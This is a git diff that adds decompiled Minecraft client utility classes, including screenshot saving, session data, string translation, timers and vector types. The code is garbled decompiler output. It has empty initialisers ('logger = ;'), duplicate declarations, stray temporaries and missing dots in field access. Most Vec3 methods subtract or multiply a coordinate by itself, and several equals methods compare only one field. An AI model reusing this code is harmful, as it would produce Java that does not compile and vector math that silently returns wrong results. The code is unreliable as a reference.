diff --git a/src/minecraft/net/minecraft/util/ScreenShotHelper.java b/src/minecraft/net/minecraft/util/ScreenShotHelper.java
new file mode 100644
index 0000000..cb44a17
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ScreenShotHelper.java
@@ -0,0 +1,153 @@
+package net.minecraft.util;
+
+import java.awt.image.BufferedImage;
+import java.io.File;
+import java.nio.IntBuffer;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import javax.imageio.ImageIO;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.texture.TextureUtil;
+import net.minecraft.client.shader.Framebuffer;
+import net.minecraft.event.ClickEvent;
+import net.minecraft.event.ClickEvent.Action;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.opengl.GL11;
+
+public class ScreenShotHelper
+{
+  private static final Logger logger = ;
+  private static final DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd_HH.mm.ss");
+  
+
+  private static IntBuffer pixelBuffer;
+  
+
+  private static int[] pixelValues;
+  
+
+  private static final String __OBFID = "CL_00000656";
+  
+
+  public ScreenShotHelper() {}
+  
+
+  public static IChatComponent saveScreenshot(File p_148260_0_, int p_148260_1_, int p_148260_2_, Framebuffer p_148260_3_)
+  {
+    return saveScreenshot(p_148260_0_, null, p_148260_1_, p_148260_2_, p_148260_3_);
+  }
+  
+
+
+
+
+  public static IChatComponent saveScreenshot(File p_148259_0_, String p_148259_1_, int p_148259_2_, int p_148259_3_, Framebuffer p_148259_4_)
+  {
+    try
+    {
+      File var5 = new File(p_148259_0_, "screenshots");
+      var5.mkdir();
+      
+      if (OpenGlHelper.isFramebufferEnabled())
+      {
+        p_148259_2_ = framebufferTextureWidth;
+        p_148259_3_ = framebufferTextureHeight;
+      }
+      
+      int var6 = p_148259_2_ * p_148259_3_;
+      
+      if ((pixelBuffer == null) || (pixelBuffer.capacity() < var6))
+      {
+        pixelBuffer = BufferUtils.createIntBuffer(var6);
+        pixelValues = new int[var6];
+      }
+      
+      GL11.glPixelStorei(3333, 1);
+      GL11.glPixelStorei(3317, 1);
+      pixelBuffer.clear();
+      
+      if (OpenGlHelper.isFramebufferEnabled())
+      {
+        GlStateManager.func_179144_i(framebufferTexture);
+        GL11.glGetTexImage(3553, 0, 32993, 33639, pixelBuffer);
+      }
+      else
+      {
+        GL11.glReadPixels(0, 0, p_148259_2_, p_148259_3_, 32993, 33639, pixelBuffer);
+      }
+      
+      pixelBuffer.get(pixelValues);
+      TextureUtil.func_147953_a(pixelValues, p_148259_2_, p_148259_3_);
+      BufferedImage var7 = null;
+      
+      if (OpenGlHelper.isFramebufferEnabled())
+      {
+        var7 = new BufferedImage(framebufferWidth, framebufferHeight, 1);
+        int var8 = framebufferTextureHeight - framebufferHeight;
+        
+        for (int var9 = var8; var9 < framebufferTextureHeight; var9++)
+        {
+          for (int var10 = 0; var10 < framebufferWidth; var10++)
+          {
+            var7.setRGB(var10, var9 - var8, pixelValues[(var9 * framebufferTextureWidth + var10)]);
+          }
+        }
+      }
+      else
+      {
+        var7 = new BufferedImage(p_148259_2_, p_148259_3_, 1);
+        var7.setRGB(0, 0, p_148259_2_, p_148259_3_, pixelValues, 0, p_148259_2_);
+      }
+      
+      File var12;
+      File var12;
+      if (p_148259_1_ == null)
+      {
+        var12 = getTimestampedPNGFileForDirectory(var5);
+      }
+      else
+      {
+        var12 = new File(var5, p_148259_1_);
+      }
+      
+      ImageIO.write(var7, "png", var12);
+      ChatComponentText var13 = new ChatComponentText(var12.getName());
+      var13.getChatStyle().setChatClickEvent(new ClickEvent(ClickEvent.Action.OPEN_FILE, var12.getAbsolutePath()));
+      var13.getChatStyle().setUnderlined(Boolean.valueOf(true));
+      return new ChatComponentTranslation("screenshot.success", new Object[] { var13 });
+    }
+    catch (Exception var11)
+    {
+      logger.warn("Couldn't save screenshot", var11); }
+    return new ChatComponentTranslation("screenshot.failure", tmp424_421);
+  }
+  
+
+
+
+
+
+
+
+  private static File getTimestampedPNGFileForDirectory(File p_74290_0_)
+  {
+    String var2 = dateFormat.format(new Date()).toString();
+    int var3 = 1;
+    
+    for (;;)
+    {
+      File var1 = new File(p_74290_0_, var2 + (var3 == 1 ? "" : new StringBuilder("_").append(var3).toString()) + ".png");
+      
+      if (!var1.exists())
+      {
+        return var1;
+      }
+      
+      var3++;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/Session.java b/src/minecraft/net/minecraft/util/Session.java
new file mode 100644
index 0000000..851fb5b
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/Session.java
@@ -0,0 +1,115 @@
+package net.minecraft.util;
+
+import com.google.common.collect.Maps;
+import com.mojang.authlib.GameProfile;
+import com.mojang.util.UUIDTypeAdapter;
+import java.util.Map;
+import java.util.UUID;
+
+public class Session
+{
+  private final String username;
+  private final String playerID;
+  private final String token;
+  private final Type sessionType;
+  private static final String __OBFID = "CL_00000659";
+  
+  public Session(String p_i1098_1_, String p_i1098_2_, String p_i1098_3_, String p_i1098_4_)
+  {
+    username = p_i1098_1_;
+    playerID = p_i1098_2_;
+    token = p_i1098_3_;
+    sessionType = Type.setSessionType(p_i1098_4_);
+  }
+  
+  public String getSessionID()
+  {
+    return "token:" + token + ":" + playerID;
+  }
+  
+  public String getPlayerID()
+  {
+    return playerID;
+  }
+  
+  public String getUsername()
+  {
+    return username;
+  }
+  
+  public String getToken()
+  {
+    return token;
+  }
+  
+  public GameProfile getProfile()
+  {
+    try
+    {
+      UUID var1 = UUIDTypeAdapter.fromString(getPlayerID());
+      return new GameProfile(var1, getUsername());
+    }
+    catch (IllegalArgumentException var2) {}
+    
+    return new GameProfile(null, getUsername());
+  }
+  
+
+
+
+
+  public Type getSessionType()
+  {
+    return sessionType;
+  }
+  
+  public static enum Type
+  {
+    LEGACY("LEGACY", 0, "legacy"), 
+    MOJANG("MOJANG", 1, "mojang");
+    
+    private static final Map field_152425_c;
+    private final String sessionType;
+    private static final Type[] $VALUES;
+    private static final String __OBFID = "CL_00001851";
+    
+    private Type(String p_i1096_1_, int p_i1096_2_, String p_i1096_3_)
+    {
+      sessionType = p_i1096_3_;
+    }
+    
+    public static Type setSessionType(String p_152421_0_)
+    {
+      return (Type)field_152425_c.get(p_152421_0_.toLowerCase());
+    }
+    
+    static
+    {
+      field_152425_c = Maps.newHashMap();
+      
+
+      $VALUES = new Type[] { LEGACY, MOJANG };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+      Type[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        Type var3 = var0[var2];
+        field_152425_c.put(sessionType, var3);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/StatCollector.java b/src/minecraft/net/minecraft/util/StatCollector.java
new file mode 100644
index 0000000..87046bb
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/StatCollector.java
@@ -0,0 +1,54 @@
+package net.minecraft.util;
+
+public class StatCollector
+{
+  private static StringTranslate localizedName = ;
+  
+
+
+
+
+  private static StringTranslate fallbackTranslator = new StringTranslate();
+  
+  private static final String __OBFID = "CL_00001211";
+  
+  public StatCollector() {}
+  
+  public static String translateToLocal(String p_74838_0_)
+  {
+    return localizedName.translateKey(p_74838_0_);
+  }
+  
+
+
+
+  public static String translateToLocalFormatted(String p_74837_0_, Object... p_74837_1_)
+  {
+    return localizedName.translateKeyFormat(p_74837_0_, p_74837_1_);
+  }
+  
+
+
+
+
+  public static String translateToFallback(String p_150826_0_)
+  {
+    return fallbackTranslator.translateKey(p_150826_0_);
+  }
+  
+
+
+
+  public static boolean canTranslate(String p_94522_0_)
+  {
+    return localizedName.isKeyTranslated(p_94522_0_);
+  }
+  
+
+
+
+  public static long getLastTranslationUpdateTimeInMilliseconds()
+  {
+    return localizedName.getLastUpdateTimeInMilliseconds();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/StringTranslate.java b/src/minecraft/net/minecraft/util/StringTranslate.java
new file mode 100644
index 0000000..a400a5f
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/StringTranslate.java
@@ -0,0 +1,136 @@
+package net.minecraft.util;
+
+import com.google.common.base.Splitter;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Maps;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.IllegalFormatException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import org.apache.commons.io.Charsets;
+import org.apache.commons.io.IOUtils;
+
+
+public class StringTranslate
+{
+  private static final Pattern numericVariablePattern = Pattern.compile("%(\\d+\\$)?[\\d\\.]*[df]");
+  
+
+
+
+  private static final Splitter equalSignSplitter = Splitter.on('=').limit(2);
+  
+
+  private static StringTranslate instance = new StringTranslate();
+  private final Map languageList = Maps.newHashMap();
+  
+
+  private long lastUpdateTimeInMilliseconds;
+  
+  private static final String __OBFID = "CL_00001212";
+  
+
+  public StringTranslate()
+  {
+    try
+    {
+      InputStream var1 = StringTranslate.class.getResourceAsStream("/assets/minecraft/lang/en_US.lang");
+      Iterator var2 = IOUtils.readLines(var1, Charsets.UTF_8).iterator();
+      
+      while (var2.hasNext())
+      {
+        String var3 = (String)var2.next();
+        
+        if ((!var3.isEmpty()) && (var3.charAt(0) != '#'))
+        {
+          String[] var4 = (String[])Iterables.toArray(equalSignSplitter.split(var3), String.class);
+          
+          if ((var4 != null) && (var4.length == 2))
+          {
+            String var5 = var4[0];
+            String var6 = numericVariablePattern.matcher(var4[1]).replaceAll("%$1s");
+            languageList.put(var5, var6);
+          }
+        }
+      }
+      
+      lastUpdateTimeInMilliseconds = System.currentTimeMillis();
+    }
+    catch (IOException localIOException) {}
+  }
+  
+
+
+
+
+
+
+  static StringTranslate getInstance()
+  {
+    return instance;
+  }
+  
+
+
+
+  public static synchronized void replaceWith(Map p_135063_0_)
+  {
+    instancelanguageList.clear();
+    instancelanguageList.putAll(p_135063_0_);
+    instancelastUpdateTimeInMilliseconds = System.currentTimeMillis();
+  }
+  
+
+
+
+  public synchronized String translateKey(String p_74805_1_)
+  {
+    return tryTranslateKey(p_74805_1_);
+  }
+  
+
+
+
+  public synchronized String translateKeyFormat(String p_74803_1_, Object... p_74803_2_)
+  {
+    String var3 = tryTranslateKey(p_74803_1_);
+    
+    try
+    {
+      return String.format(var3, p_74803_2_);
+    }
+    catch (IllegalFormatException var5) {}
+    
+    return "Format error: " + var3;
+  }
+  
+
+
+
+
+  private String tryTranslateKey(String p_135064_1_)
+  {
+    String var2 = (String)languageList.get(p_135064_1_);
+    return var2 == null ? p_135064_1_ : var2;
+  }
+  
+
+
+
+  public synchronized boolean isKeyTranslated(String p_94520_1_)
+  {
+    return languageList.containsKey(p_94520_1_);
+  }
+  
+
+
+
+  public long getLastUpdateTimeInMilliseconds()
+  {
+    return lastUpdateTimeInMilliseconds;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/StringUtils.java b/src/minecraft/net/minecraft/util/StringUtils.java
new file mode 100644
index 0000000..28166b3
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/StringUtils.java
@@ -0,0 +1,33 @@
+package net.minecraft.util;
+
+import java.util.regex.Pattern;
+
+public class StringUtils
+{
+  private static final Pattern patternControlCode = Pattern.compile("(?i)\\u00A7[0-9A-FK-OR]");
+  
+  private static final String __OBFID = "CL_00001501";
+  
+  public StringUtils() {}
+  
+  public static String ticksToElapsedTime(int p_76337_0_)
+  {
+    int var1 = p_76337_0_ / 20;
+    int var2 = var1 / 60;
+    var1 %= 60;
+    return var2 + ":" + var1;
+  }
+  
+  public static String stripControlCodes(String p_76338_0_)
+  {
+    return patternControlCode.matcher(p_76338_0_).replaceAll("");
+  }
+  
+
+
+
+  public static boolean isNullOrEmpty(String p_151246_0_)
+  {
+    return org.apache.commons.lang3.StringUtils.isEmpty(p_151246_0_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ThreadSafeBoundList.java b/src/minecraft/net/minecraft/util/ThreadSafeBoundList.java
new file mode 100644
index 0000000..acb5493
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ThreadSafeBoundList.java
@@ -0,0 +1,65 @@
+package net.minecraft.util;
+
+import java.lang.reflect.Array;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReadWriteLock;
+
+public class ThreadSafeBoundList
+{
+  private final Object[] field_152759_a;
+  private final Class field_152760_b;
+  private final ReadWriteLock field_152761_c = new java.util.concurrent.locks.ReentrantReadWriteLock();
+  private int field_152762_d;
+  private int field_152763_e;
+  private static final String __OBFID = "CL_00001868";
+  
+  public ThreadSafeBoundList(Class p_i1126_1_, int p_i1126_2_)
+  {
+    field_152760_b = p_i1126_1_;
+    field_152759_a = ((Object[])Array.newInstance(p_i1126_1_, p_i1126_2_));
+  }
+  
+  public Object func_152757_a(Object p_152757_1_)
+  {
+    field_152761_c.writeLock().lock();
+    field_152759_a[field_152763_e] = p_152757_1_;
+    field_152763_e = ((field_152763_e + 1) % func_152758_b());
+    
+    if (field_152762_d < func_152758_b())
+    {
+      field_152762_d += 1;
+    }
+    
+    field_152761_c.writeLock().unlock();
+    return p_152757_1_;
+  }
+  
+  public int func_152758_b()
+  {
+    field_152761_c.readLock().lock();
+    int var1 = field_152759_a.length;
+    field_152761_c.readLock().unlock();
+    return var1;
+  }
+  
+  public Object[] func_152756_c()
+  {
+    Object[] var1 = (Object[])Array.newInstance(field_152760_b, field_152762_d);
+    field_152761_c.readLock().lock();
+    
+    for (int var2 = 0; var2 < field_152762_d; var2++)
+    {
+      int var3 = (field_152763_e - field_152762_d + var2) % func_152758_b();
+      
+      if (var3 < 0)
+      {
+        var3 += func_152758_b();
+      }
+      
+      var1[var2] = field_152759_a[var3];
+    }
+    
+    field_152761_c.readLock().unlock();
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/Timer.java b/src/minecraft/net/minecraft/util/Timer.java
new file mode 100644
index 0000000..50bd60a
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/Timer.java
@@ -0,0 +1,109 @@
+package net.minecraft.util;
+
+import net.minecraft.client.Minecraft;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Timer
+{
+  float ticksPerSecond;
+  private double lastHRTime;
+  public int elapsedTicks;
+  public float renderPartialTicks;
+  public float timerSpeed = 1.0F;
+  
+
+
+
+  public float elapsedPartialTicks;
+  
+
+
+  private long lastSyncSysClock;
+  
+
+
+  private long lastSyncHRClock;
+  
+
+
+  private long field_74285_i;
+  
+
+
+  private double timeSyncAdjustment = 1.0D;
+  private static final String __OBFID = "CL_00000658";
+  
+  public Timer(float p_i1018_1_)
+  {
+    ticksPerSecond = p_i1018_1_;
+    lastSyncSysClock = Minecraft.getSystemTime();
+    lastSyncHRClock = (System.nanoTime() / 1000000L);
+  }
+  
+
+
+
+  public void updateTimer()
+  {
+    long var1 = Minecraft.getSystemTime();
+    long var3 = var1 - lastSyncSysClock;
+    long var5 = System.nanoTime() / 1000000L;
+    double var7 = var5 / 1000.0D;
+    
+    if ((var3 <= 1000L) && (var3 >= 0L))
+    {
+      field_74285_i += var3;
+      
+      if (field_74285_i > 1000L)
+      {
+        long var9 = var5 - lastSyncHRClock;
+        double var11 = field_74285_i / var9;
+        timeSyncAdjustment += (var11 - timeSyncAdjustment) * 0.20000000298023224D;
+        lastSyncHRClock = var5;
+        field_74285_i = 0L;
+      }
+      
+      if (field_74285_i < 0L)
+      {
+        lastSyncHRClock = var5;
+      }
+    }
+    else
+    {
+      lastHRTime = var7;
+    }
+    
+    lastSyncSysClock = var1;
+    double var13 = (var7 - lastHRTime) * timeSyncAdjustment;
+    lastHRTime = var7;
+    var13 = MathHelper.clamp_double(var13, 0.0D, 1.0D);
+    elapsedPartialTicks = ((float)(elapsedPartialTicks + var13 * timerSpeed * ticksPerSecond));
+    elapsedTicks = ((int)elapsedPartialTicks);
+    elapsedPartialTicks -= elapsedTicks;
+    
+    if (elapsedTicks > 10)
+    {
+      elapsedTicks = 10;
+    }
+    
+    renderPartialTicks = elapsedPartialTicks;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/Tuple.java b/src/minecraft/net/minecraft/util/Tuple.java
new file mode 100644
index 0000000..bd179a6
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/Tuple.java
@@ -0,0 +1,30 @@
+package net.minecraft.util;
+
+public class Tuple
+{
+  private Object a;
+  private Object b;
+  private static final String __OBFID = "CL_00001502";
+  
+  public Tuple(Object p_i1555_1_, Object p_i1555_2_)
+  {
+    a = p_i1555_1_;
+    b = p_i1555_2_;
+  }
+  
+
+
+
+  public Object getFirst()
+  {
+    return a;
+  }
+  
+
+
+
+  public Object getSecond()
+  {
+    return b;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/TupleIntJsonSerializable.java b/src/minecraft/net/minecraft/util/TupleIntJsonSerializable.java
new file mode 100644
index 0000000..2229224
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/TupleIntJsonSerializable.java
@@ -0,0 +1,40 @@
+package net.minecraft.util;
+
+
+public class TupleIntJsonSerializable
+{
+  private int integerValue;
+  private IJsonSerializable jsonSerializableValue;
+  private static final String __OBFID = "CL_00001478";
+  
+  public TupleIntJsonSerializable() {}
+  
+  public int getIntegerValue()
+  {
+    return integerValue;
+  }
+  
+
+
+
+  public void setIntegerValue(int p_151188_1_)
+  {
+    integerValue = p_151188_1_;
+  }
+  
+
+
+
+  public IJsonSerializable getJsonSerializableValue()
+  {
+    return jsonSerializableValue;
+  }
+  
+
+
+
+  public void setJsonSerializableValue(IJsonSerializable p_151190_1_)
+  {
+    jsonSerializableValue = p_151190_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/Util.java b/src/minecraft/net/minecraft/util/Util.java
new file mode 100644
index 0000000..7c92d77
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/Util.java
@@ -0,0 +1,26 @@
+package net.minecraft.util;
+
+public class Util {
+  private static final String __OBFID = "CL_00001633";
+  
+  public Util() {}
+  
+  public static EnumOS getOSType() {
+    String var0 = System.getProperty("os.name").toLowerCase();
+    return var0.contains("unix") ? EnumOS.LINUX : var0.contains("linux") ? EnumOS.LINUX : var0.contains("sunos") ? EnumOS.SOLARIS : var0.contains("solaris") ? EnumOS.SOLARIS : var0.contains("mac") ? EnumOS.OSX : var0.contains("win") ? EnumOS.WINDOWS : EnumOS.UNKNOWN;
+  }
+  
+  public static enum EnumOS
+  {
+    LINUX("LINUX", 0), 
+    SOLARIS("SOLARIS", 1), 
+    WINDOWS("WINDOWS", 2), 
+    OSX("OSX", 3), 
+    UNKNOWN("UNKNOWN", 4);
+    
+    private static final EnumOS[] $VALUES = { LINUX, SOLARIS, WINDOWS, OSX, UNKNOWN };
+    private static final String __OBFID = "CL_00001660";
+    
+    private EnumOS(String p_i1357_1_, int p_i1357_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/Vec3.java b/src/minecraft/net/minecraft/util/Vec3.java
new file mode 100644
index 0000000..45fe183
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/Vec3.java
@@ -0,0 +1,223 @@
+package net.minecraft.util;
+
+
+public class Vec3
+{
+  public final double xCoord;
+  
+  public final double yCoord;
+  
+  public final double zCoord;
+  
+  private static final String __OBFID = "CL_00000612";
+  
+
+  public Vec3(double x, double y, double z)
+  {
+    if (x == -0.0D)
+    {
+      x = 0.0D;
+    }
+    
+    if (y == -0.0D)
+    {
+      y = 0.0D;
+    }
+    
+    if (z == -0.0D)
+    {
+      z = 0.0D;
+    }
+    
+    xCoord = x;
+    yCoord = y;
+    zCoord = z;
+  }
+  
+  public Vec3(Vec3i p_i46377_1_)
+  {
+    this(p_i46377_1_.getX(), p_i46377_1_.getY(), p_i46377_1_.getZ());
+  }
+  
+  public Vec3 scale(double p_186678_1_)
+  {
+    return new Vec3(xCoord * p_186678_1_, yCoord * p_186678_1_, zCoord * p_186678_1_);
+  }
+  
+
+
+
+  public Vec3 subtractReverse(Vec3 vec)
+  {
+    return new Vec3(xCoord - xCoord, yCoord - yCoord, zCoord - zCoord);
+  }
+  
+
+
+
+  public Vec3 normalize()
+  {
+    double var1 = MathHelper.sqrt_double(xCoord * xCoord + yCoord * yCoord + zCoord * zCoord);
+    return var1 < 1.0E-4D ? new Vec3(0.0D, 0.0D, 0.0D) : new Vec3(xCoord / var1, yCoord / var1, zCoord / var1);
+  }
+  
+  public double dotProduct(Vec3 vec)
+  {
+    return xCoord * xCoord + yCoord * yCoord + zCoord * zCoord;
+  }
+  
+
+
+
+  public Vec3 crossProduct(Vec3 vec)
+  {
+    return new Vec3(yCoord * zCoord - zCoord * yCoord, zCoord * xCoord - xCoord * zCoord, xCoord * yCoord - yCoord * xCoord);
+  }
+  
+  public Vec3 subtract(Vec3 p_178788_1_)
+  {
+    return subtract(xCoord, yCoord, zCoord);
+  }
+  
+  public Vec3 subtract(double p_178786_1_, double p_178786_3_, double p_178786_5_)
+  {
+    return addVector(-p_178786_1_, -p_178786_3_, -p_178786_5_);
+  }
+  
+  public Vec3 add(Vec3 p_178787_1_)
+  {
+    return addVector(xCoord, yCoord, zCoord);
+  }
+  
+
+
+
+
+  public Vec3 addVector(double x, double y, double z)
+  {
+    return new Vec3(xCoord + x, yCoord + y, zCoord + z);
+  }
+  
+
+
+
+  public double distanceTo(Vec3 vec)
+  {
+    double var2 = xCoord - xCoord;
+    double var4 = yCoord - yCoord;
+    double var6 = zCoord - zCoord;
+    return MathHelper.sqrt_double(var2 * var2 + var4 * var4 + var6 * var6);
+  }
+  
+
+
+
+  public double squareDistanceTo(Vec3 vec)
+  {
+    double var2 = xCoord - xCoord;
+    double var4 = yCoord - yCoord;
+    double var6 = zCoord - zCoord;
+    return var2 * var2 + var4 * var4 + var6 * var6;
+  }
+  
+
+
+
+  public double lengthVector()
+  {
+    return MathHelper.sqrt_double(xCoord * xCoord + yCoord * yCoord + zCoord * zCoord);
+  }
+  
+
+
+
+
+  public Vec3 getIntermediateWithXValue(Vec3 vec, double x)
+  {
+    double var4 = xCoord - xCoord;
+    double var6 = yCoord - yCoord;
+    double var8 = zCoord - zCoord;
+    
+    if (var4 * var4 < 1.0000000116860974E-7D)
+    {
+      return null;
+    }
+    
+
+    double var10 = (x - xCoord) / var4;
+    return (var10 >= 0.0D) && (var10 <= 1.0D) ? new Vec3(xCoord + var4 * var10, yCoord + var6 * var10, zCoord + var8 * var10) : null;
+  }
+  
+
+
+
+
+
+  public Vec3 getIntermediateWithYValue(Vec3 vec, double y)
+  {
+    double var4 = xCoord - xCoord;
+    double var6 = yCoord - yCoord;
+    double var8 = zCoord - zCoord;
+    
+    if (var6 * var6 < 1.0000000116860974E-7D)
+    {
+      return null;
+    }
+    
+
+    double var10 = (y - yCoord) / var6;
+    return (var10 >= 0.0D) && (var10 <= 1.0D) ? new Vec3(xCoord + var4 * var10, yCoord + var6 * var10, zCoord + var8 * var10) : null;
+  }
+  
+
+
+
+
+
+  public Vec3 getIntermediateWithZValue(Vec3 vec, double z)
+  {
+    double var4 = xCoord - xCoord;
+    double var6 = yCoord - yCoord;
+    double var8 = zCoord - zCoord;
+    
+    if (var8 * var8 < 1.0000000116860974E-7D)
+    {
+      return null;
+    }
+    
+
+    double var10 = (z - zCoord) / var8;
+    return (var10 >= 0.0D) && (var10 <= 1.0D) ? new Vec3(xCoord + var4 * var10, yCoord + var6 * var10, zCoord + var8 * var10) : null;
+  }
+  
+
+  public String toString()
+  {
+    return "(" + xCoord + ", " + yCoord + ", " + zCoord + ")";
+  }
+  
+  public Vec3 rotatePitch(float p_178789_1_)
+  {
+    float var2 = MathHelper.cos(p_178789_1_);
+    float var3 = MathHelper.sin(p_178789_1_);
+    double var4 = xCoord;
+    double var6 = yCoord * var2 + zCoord * var3;
+    double var8 = zCoord * var2 - yCoord * var3;
+    return new Vec3(var4, var6, var8);
+  }
+  
+  public Vec3 flat()
+  {
+    return new Vec3(xCoord, 0.0D, zCoord);
+  }
+  
+  public Vec3 rotateYaw(float p_178785_1_)
+  {
+    float var2 = MathHelper.cos(p_178785_1_);
+    float var3 = MathHelper.sin(p_178785_1_);
+    double var4 = xCoord * var2 + zCoord * var3;
+    double var6 = yCoord;
+    double var8 = zCoord * var2 - xCoord * var3;
+    return new Vec3(var4, var6, var8);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/Vec3i.java b/src/minecraft/net/minecraft/util/Vec3i.java
new file mode 100644
index 0000000..4c5e652
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/Vec3i.java
@@ -0,0 +1,134 @@
+package net.minecraft.util;
+
+import com.google.common.base.Objects;
+import com.google.common.base.Objects.ToStringHelper;
+
+public class Vec3i implements Comparable
+{
+  public static final Vec3i NULL_VECTOR = new Vec3i(0, 0, 0);
+  
+
+  private final int x;
+  
+  private final int y;
+  
+  private final int z;
+  
+  private static final String __OBFID = "CL_00002315";
+  
+
+  public Vec3i(int p_i46007_1_, int p_i46007_2_, int p_i46007_3_)
+  {
+    x = p_i46007_1_;
+    y = p_i46007_2_;
+    z = p_i46007_3_;
+  }
+  
+  public Vec3i(double p_i46008_1_, double p_i46008_3_, double p_i46008_5_)
+  {
+    this(MathHelper.floor_double(p_i46008_1_), MathHelper.floor_double(p_i46008_3_), MathHelper.floor_double(p_i46008_5_));
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof Vec3i))
+    {
+      return false;
+    }
+    
+
+    Vec3i var2 = (Vec3i)p_equals_1_;
+    return getX() == var2.getX();
+  }
+  
+
+  public int hashCode()
+  {
+    return (getY() + getZ() * 31) * 31 + getX();
+  }
+  
+  public int compareTo(Vec3i p_177953_1_)
+  {
+    return getY() == p_177953_1_.getY() ? getZ() - p_177953_1_.getZ() : getZ() == p_177953_1_.getZ() ? getX() - p_177953_1_.getX() : getY() - p_177953_1_.getY();
+  }
+  
+
+
+
+  public int getX()
+  {
+    return x;
+  }
+  
+
+
+
+  public int getY()
+  {
+    return y;
+  }
+  
+
+
+
+  public int getZ()
+  {
+    return z;
+  }
+  
+
+
+
+  public Vec3i crossProduct(Vec3i vec)
+  {
+    return new Vec3i(getY() * vec.getZ() - getZ() * vec.getY(), getZ() * vec.getX() - getX() * vec.getZ(), getX() * vec.getY() - getY() * vec.getX());
+  }
+  
+
+
+
+
+
+
+
+  public double distanceSq(double toX, double toY, double toZ)
+  {
+    double var7 = getX() - toX;
+    double var9 = getY() - toY;
+    double var11 = getZ() - toZ;
+    return var7 * var7 + var9 * var9 + var11 * var11;
+  }
+  
+
+
+
+  public double distanceSqToCenter(double p_177957_1_, double p_177957_3_, double p_177957_5_)
+  {
+    double var7 = getX() + 0.5D - p_177957_1_;
+    double var9 = getY() + 0.5D - p_177957_3_;
+    double var11 = getZ() + 0.5D - p_177957_5_;
+    return var7 * var7 + var9 * var9 + var11 * var11;
+  }
+  
+
+
+
+  public double distanceSq(Vec3i to)
+  {
+    return distanceSq(to.getX(), to.getY(), to.getZ());
+  }
+  
+  public String toString()
+  {
+    return Objects.toStringHelper(this).add("x", getX()).add("y", getY()).add("z", getZ()).toString();
+  }
+  
+  public int compareTo(Object p_compareTo_1_)
+  {
+    return compareTo((Vec3i)p_compareTo_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/Vec4b.java b/src/minecraft/net/minecraft/util/Vec4b.java
new file mode 100644
index 0000000..d119670
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/Vec4b.java
@@ -0,0 +1,72 @@
+package net.minecraft.util;
+
+public class Vec4b
+{
+  private byte field_176117_a;
+  private byte field_176115_b;
+  private byte field_176116_c;
+  private byte field_176114_d;
+  private static final String __OBFID = "CL_00001964";
+  
+  public Vec4b(byte p_i45555_1_, byte p_i45555_2_, byte p_i45555_3_, byte p_i45555_4_)
+  {
+    field_176117_a = p_i45555_1_;
+    field_176115_b = p_i45555_2_;
+    field_176116_c = p_i45555_3_;
+    field_176114_d = p_i45555_4_;
+  }
+  
+  public Vec4b(Vec4b p_i45556_1_)
+  {
+    field_176117_a = field_176117_a;
+    field_176115_b = field_176115_b;
+    field_176116_c = field_176116_c;
+    field_176114_d = field_176114_d;
+  }
+  
+  public byte func_176110_a()
+  {
+    return field_176117_a;
+  }
+  
+  public byte func_176112_b()
+  {
+    return field_176115_b;
+  }
+  
+  public byte func_176113_c()
+  {
+    return field_176116_c;
+  }
+  
+  public byte func_176111_d()
+  {
+    return field_176114_d;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof Vec4b))
+    {
+      return false;
+    }
+    
+
+    Vec4b var2 = (Vec4b)p_equals_1_;
+    return field_176117_a == field_176117_a;
+  }
+  
+
+  public int hashCode()
+  {
+    byte var1 = field_176117_a;
+    int var2 = 31 * var1 + field_176115_b;
+    var2 = 31 * var2 + field_176116_c;
+    var2 = 31 * var2 + field_176114_d;
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/WeightedRandom.java b/src/minecraft/net/minecraft/util/WeightedRandom.java
new file mode 100644
index 0000000..3d4e8b9
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/WeightedRandom.java
@@ -0,0 +1,90 @@
+package net.minecraft.util;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Random;
+
+
+public class WeightedRandom
+{
+  private static final String __OBFID = "CL_00001503";
+  
+  public WeightedRandom() {}
+  
